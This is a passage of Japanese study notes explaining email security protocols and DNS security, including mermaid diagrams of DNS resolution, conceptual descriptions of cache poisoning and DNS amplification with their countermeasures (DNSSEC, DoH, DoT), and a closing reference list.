&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 公開鍵: RSA、DSA、ElGamal、ECDSA&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 共通鍵: AES、Twofish、CAST5&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**用途**&lt;/span&gt;&lt;span&gt;: 主に個人/小規模利用で普及&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### メールセキュリティ技術の関係性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TD&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  A["ユーザー／送信者"] --認証1--&amp;gt; B["Pop Before SMTP&amp;lt;br/&amp;gt;(非推奨)"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  A --認証2--&amp;gt; C["SMTP AUTH&amp;lt;br/&amp;gt;(RFC 4954)"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  B &amp;amp; C --メール送信--&amp;gt; D["SMTPサーバ&amp;lt;br/&amp;gt;(MTA)"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  D --暗号化通信--&amp;gt; E["SMTPS/STARTTLS&amp;lt;br/&amp;gt;(TLS 1.2+)"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  D --メール受信認証--&amp;gt; F["APOP/POP3S&amp;lt;br/&amp;gt;(TLS暗号化)"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  D --サーバ正当性認証--&amp;gt; G["受信側サーバ&amp;lt;br/&amp;gt;(MTA)"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  G --SPFで検証&amp;lt;br/&amp;gt;(RFC 7208)--&amp;gt; H["SPF"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  G --DKIMで検証&amp;lt;br/&amp;gt;(RFC 6376)--&amp;gt; I["DKIM"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  G --DMARCで検証&amp;lt;br/&amp;gt;(RFC 7489)--&amp;gt; J["DMARC"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  A --メール本体を暗号化/署名--&amp;gt; K["S/MIME/PGP&amp;lt;br/&amp;gt;(エンドツーエンド)"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  K --エンドツーエンドのセキュリティ--&amp;gt; G&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 3.3 DNSのセキュリティについての詳細と整理&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### DNS（Domain Name System）の基本仕組み&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**DNS（Domain Name System, RFC 1035）**&lt;/span&gt;&lt;span&gt;は、インターネット上でドメイン名からIPアドレスなどを解決するための分散型データベースシステムです。DNSは階層的な名前空間を採用しており、その安全性はインターネット全体の信頼性に直結します。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### DNSサーバの種類と技術的詳細&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**1. キャッシュDNSサーバ（リゾルバ、Recursive Resolver）**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**役割**&lt;/span&gt;&lt;span&gt;: ユーザーの端末やISPが利用するサーバで、再利用のために問い合わせ結果を一時的に保存（キャッシュ）します&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**動作モード**&lt;/span&gt;&lt;span&gt;: 再帰問い合わせ（Recursive Query）を実行&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**ポート**&lt;/span&gt;&lt;span&gt;: 53/udp（通常）、53/tcp（フォールバック、大きな応答の場合）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**キャッシュ機能**&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; TTL（Time To Live）に基づいてリソースレコードをキャッシュ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; キャッシュポイズニング攻撃の標的となる&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**代表的なサービス**&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Google Public DNS（8.8.8.8、8.8.4.4）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Cloudflare DNS（1.1.1.1、1.0.0.1）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Quad9（9.9.9.9）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**2. 権威DNSサーバ（Authoritative Name Server）**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**役割**&lt;/span&gt;&lt;span&gt;: ドメインごとに公式の情報を保持し、最終的な応答を返すサーバです&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**動作モード**&lt;/span&gt;&lt;span&gt;: 反復問い合わせ（Iterative Query）に応答&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**DNSレコードタイプ**&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Aレコード: IPv4アドレス&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; AAAAレコード: IPv6アドレス&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; MXレコード: メールサーバ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; CNAMEレコード: 別名&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; NSレコード: 権威DNSサーバ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; TXTレコード: テキスト情報（SPF、DKIM、DMARCなど）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**SOAレコード**&lt;/span&gt;&lt;span&gt;: Start of Authority、ドメインの管理情報&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**権威DNSサーバが正しい情報を提供することが信頼性の根幹**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**3. DNSルートサーバ（Root Name Server）**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**役割**&lt;/span&gt;&lt;span&gt;: DNSの階層構造の最上位にあり、TLD（Top-Level Domain、.com、.net、.jpなど）のサーバ情報を提供します&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**数**&lt;/span&gt;&lt;span&gt;: 世界には13個のルートサーバ（名前は13種類、A～M）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**実装**&lt;/span&gt;&lt;span&gt;: Anycast技術により、実際には多数の物理サーバが存在（地理的分散）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**管理**&lt;/span&gt;&lt;span&gt;: ICANN（Internet Corporation for Assigned Names and Numbers）が管理&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**これがインターネット全体のDNSの出発点になっています**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### DNS問い合わせの詳細フロー&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**再帰問い合わせ（Recursive Query）の例**&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;sequenceDiagram&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  participant U as ユーザー&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  participant C as キャッシュDNSサーバ&amp;lt;br/&amp;gt;(リゾルバ)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  participant R as ルートDNSサーバ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  participant T as TLD権威DNSサーバ&amp;lt;br/&amp;gt;(.com)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  participant A as 権威DNSサーバ&amp;lt;br/&amp;gt;(example.com)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  U-&amp;gt;&amp;gt;C: 1. example.comのIPアドレスを要求&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  C-&amp;gt;&amp;gt;C: 2. キャッシュを確認&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  alt キャッシュにない場合&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C-&amp;gt;&amp;gt;R: 3. 再帰問い合わせ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    R-&amp;gt;&amp;gt;C: 4. .comの権威DNSサーバ情報&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C-&amp;gt;&amp;gt;T: 5. example.comの権威DNSサーバ情報を要求&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    T-&amp;gt;&amp;gt;C: 6. example.comの権威DNSサーバ情報&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C-&amp;gt;&amp;gt;A: 7. Aレコード（IPアドレス）を要求&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A-&amp;gt;&amp;gt;C: 8. Aレコード（IPアドレス）を返す&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C-&amp;gt;&amp;gt;C: 9. キャッシュに保存&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  C-&amp;gt;&amp;gt;U: 10. IPアドレスを返す&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**反復問い合わせ（Iterative Query）**&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; キャッシュDNSサーバが各権威DNSサーバに直接問い合わせ、次のサーバ情報を受け取る方式&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### DNSとCDNの関係&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;DNSとCDN（Content Delivery Network）は別物ですが、CDNも自身のDNSを介して効率的なコンテンツ配信を実現することが多いです。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**CDNのDNS最適化**&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; ユーザーの地理的位置に基づいて最適なCDNエッジサーバのIPアドレスを返す（GeoDNS）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Anycast技術により、複数の地理的位置から同じIPアドレスで応答&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### セキュリティ上重要な観点&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**DNSキャッシュポイズニング（DNS Cache Poisoning）**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**攻撃手法**&lt;/span&gt;&lt;span&gt;: 悪意ある者が偽の情報をキャッシュDNSサーバに注入し、不正なサイトに誘導する攻撃&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**技術的詳細**&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; DNS応答の予測可能なトランザクションIDを悪用&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; ポート番号の予測&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Kaminsky攻撃: キャッシュにないドメインに対して偽の応答を注入&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**対策**&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; ランダムなトランザクションIDとポート番号の使用&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; DNSSECの実装&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 0x20エンコーディング（大文字小文字のランダム化）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**DNSSEC（DNS Security Extensions, RFC 4033-4035）**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**仕組み**&lt;/span&gt;&lt;span&gt;: DNS応答の正当性を署名で検証する拡張規格。これにより、改ざんやなりすましを防止します&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**技術的詳細**&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**RRSIGレコード**&lt;/span&gt;&lt;span&gt;: リソースレコードセット（RRset）へのデジタル署名&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**DNSKEYレコード**&lt;/span&gt;&lt;span&gt;: 公開鍵&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**DSレコード**&lt;/span&gt;&lt;span&gt;: Delegation Signer、親ゾーンから子ゾーンへの署名チェーン&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**NSEC/NSEC3レコード**&lt;/span&gt;&lt;span&gt;: 存在しないドメインの証明&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**署名アルゴリズム**&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; RSA/SHA-256、RSA/SHA-512&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; ECDSA P-256/SHA-256、ECDSA P-384/SHA-384&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**検証フロー**&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; クライアントがDNS応答を受信&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; RRSIGレコードから署名を取得&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; DNSKEYレコードから公開鍵を取得&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;4.&lt;/span&gt;&lt;span&gt; DSレコードで親ゾーンからの署名チェーンを検証&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;5.&lt;/span&gt;&lt;span&gt; 署名を検証して応答の正当性を確認&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**権威DNSサーバへのDDoS攻撃**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**攻撃手法**&lt;/span&gt;&lt;span&gt;: 権威DNSサーバにDDoS攻撃を仕掛けてダウンさせることで、キャッシュされている情報が古いものになったり、長時間ダウンすればその地域全体のDNSサービス停止を狙う攻撃&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**技術的詳細**&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**DNS増幅攻撃**&lt;/span&gt;&lt;span&gt;: 小さな問い合わせに対して大きな応答を返す特性を悪用（ANYレコード、EDNS0）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**ボットネット**&lt;/span&gt;&lt;span&gt;: 多数の感染端末から同時に問い合わせを送信&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**対策**&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Anycast技術による地理的分散&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; レート制限（Rate Limiting）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; DDoS対策サービス（Cloudflare、Akamaiなど）の利用&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; DNS over HTTPS（DoH）、DNS over TLS（DoT）による暗号化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### DNSサーバの関係図&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;flowchart TD&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  U["ユーザー"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  Q["キャッシュDNSサーバ&amp;lt;br/&amp;gt;(リゾルバ)"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  R["ルートDNSサーバ&amp;lt;br/&amp;gt;(13個、Anycast)"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  T["TLD権威DNSサーバ&amp;lt;br/&amp;gt;(.com)"]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  A["権威DNSサーバ&amp;lt;br/&amp;gt;(example.com)"]&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;  U -- "1. 問い合わせ" --&amp;gt; Q&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  Q -- "2. キャッシュなし・再帰問い合わせ" --&amp;gt; R&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  R -- "3. .comの権威DNS情報" --&amp;gt; T&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  T -- "4. example.comの権威DNS情報" --&amp;gt; A&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  A -- "5. 正式な応答(Aレコード)" --&amp;gt; Q&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  Q -- "6. 応答(キャッシュに保存)" --&amp;gt; U&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### DNSのセキュリティ強化技術&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**DNS over HTTPS (DoH, RFC 8484)**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**仕組み**&lt;/span&gt;&lt;span&gt;: DNS問い合わせをHTTPS経由で暗号化して送信&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**ポート**&lt;/span&gt;&lt;span&gt;: 443/tcp（HTTPSと同じ）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**利点**&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 通信の暗号化による盗聴防止&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; ファイアウォールやISPによるDNS問い合わせの監視・フィルタリングの回避&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**課題**&lt;/span&gt;&lt;span&gt;: プライバシーとセキュリティのバランス&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**DNS over TLS (DoT, RFC 7858)**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**仕組み**&lt;/span&gt;&lt;span&gt;: DNS問い合わせをTLS経由で暗号化して送信&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**ポート**&lt;/span&gt;&lt;span&gt;: 853/tcp&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**利点**&lt;/span&gt;&lt;span&gt;: DoHと同様に暗号化による盗聴防止&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**課題**&lt;/span&gt;&lt;span&gt;: 専用ポートのため、ファイアウォールでブロックされる可能性&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 参考資料・出典&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 事件関連&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### アスクル株式会社のランサムウェア攻撃&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; アスクル株式会社公式サイト（セキュリティインシデント関連ページ）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 各報道機関の報道発表（2023年8月、2024年6月、2025年10月）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 内閣サイバーセキュリティセンター（NISC）の関連資料&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 楽天モバイルの生成AI悪用事件&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 内閣サイバーセキュリティセンター（NISC）の資料（2025年5月29日発表）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 各報道機関の報道発表（2025年2月、2025年5月29日）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 技術資料&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### メールセキュリティ関連プロトコル&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**SMTP**&lt;/span&gt;&lt;span&gt;: RFC 5321 (Simple Mail Transfer Protocol)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**POP3**&lt;/span&gt;&lt;span&gt;: RFC 1939 (Post Office Protocol - Version 3)&lt;/span&gt;&lt;/div&gt;
